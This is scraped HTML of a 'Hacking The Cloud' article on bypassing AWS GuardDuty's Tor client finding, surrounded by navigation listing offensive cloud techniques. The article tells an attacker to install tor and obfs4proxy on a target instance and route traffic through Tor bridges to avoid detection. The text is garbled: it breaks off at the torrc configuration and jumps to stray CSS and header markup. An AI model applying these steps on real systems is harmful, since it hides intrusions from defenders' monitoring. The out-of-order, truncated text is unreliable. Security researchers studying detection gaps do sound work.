Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4 checked> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=true> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc hidden> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/avoiding-detection/guardduty-tor-client.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1 id=bypass-guardduty-tor-client-findings>Bypass GuardDuty Tor Client Findings<a class=headerlink href=#bypass-guardduty-tor-client-findings title="Permanent link">&para;</a></h1> <p><a href=https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-ec2.html#unauthorizedaccess-ec2-torclient>UnauthorizedAccess:EC2/TorClient</a> is a high severity GuardDuty finding that fires when an EC2 instance is detected making connections to Tor <a href=https://community.torproject.org/relay/types-of-relays/#Guard%20and%20middle%20relay>Guard</a> or Authority nodes. According to the documentation, "this finding may indicate unauthorized access to your AWS resources with the intent of hiding the attacker's true identity".</p> <p>AWS determines this by comparing connections to the <a href=https://metrics.torproject.org/exonerator.html>public list of Tor nodes</a>. To those familiar with the Tor project, this is a common problem. Countries, internet service providers, and other authorities may block access to the Tor network making it difficult for citizens to access the open internet.</p> <p>From a technical perspective the <a href=https://www.torproject.org/ >Tor Project</a> has largely gotten around this by using <a href=https://community.torproject.org/relay/types-of-relays/#Bridge>Bridges</a>. Bridges are special nodes that do not disclose themselves like other Tor nodes do. Individuals who would normally have difficulty connecting directly to Tor can instead route their traffic through Bridge nodes. Similarly, we can bypass the Tor Client GuardDuty finding by using bridges.</p> <p>To do so, download the Tor and obfs4proxy binaries (the simplest way to do this on a Debian based system is <code>apt install tor obfs4proxy</code> and move them to your target). <a href=https://gitlab.com/yawning/obfs4>Obfs4</a> is a <a href=https://2019.www.torproject.org/docs/pluggable-transports.html.en>Pluggable Transport</a> which modifies Tor traffic to communicate with a bridge. Navigate to <a href=https://bridges.torproject.org/options>bridges.torproject.org</a> to get a bridge address. </p> <p>From here, create a torrc file with the following contents (being sure to fill in the information you got for the bridge address):</p> <div class=highlight><pre><span></span><code>UseBridges 1
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#bypass-guardduty-tor-client-findings class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 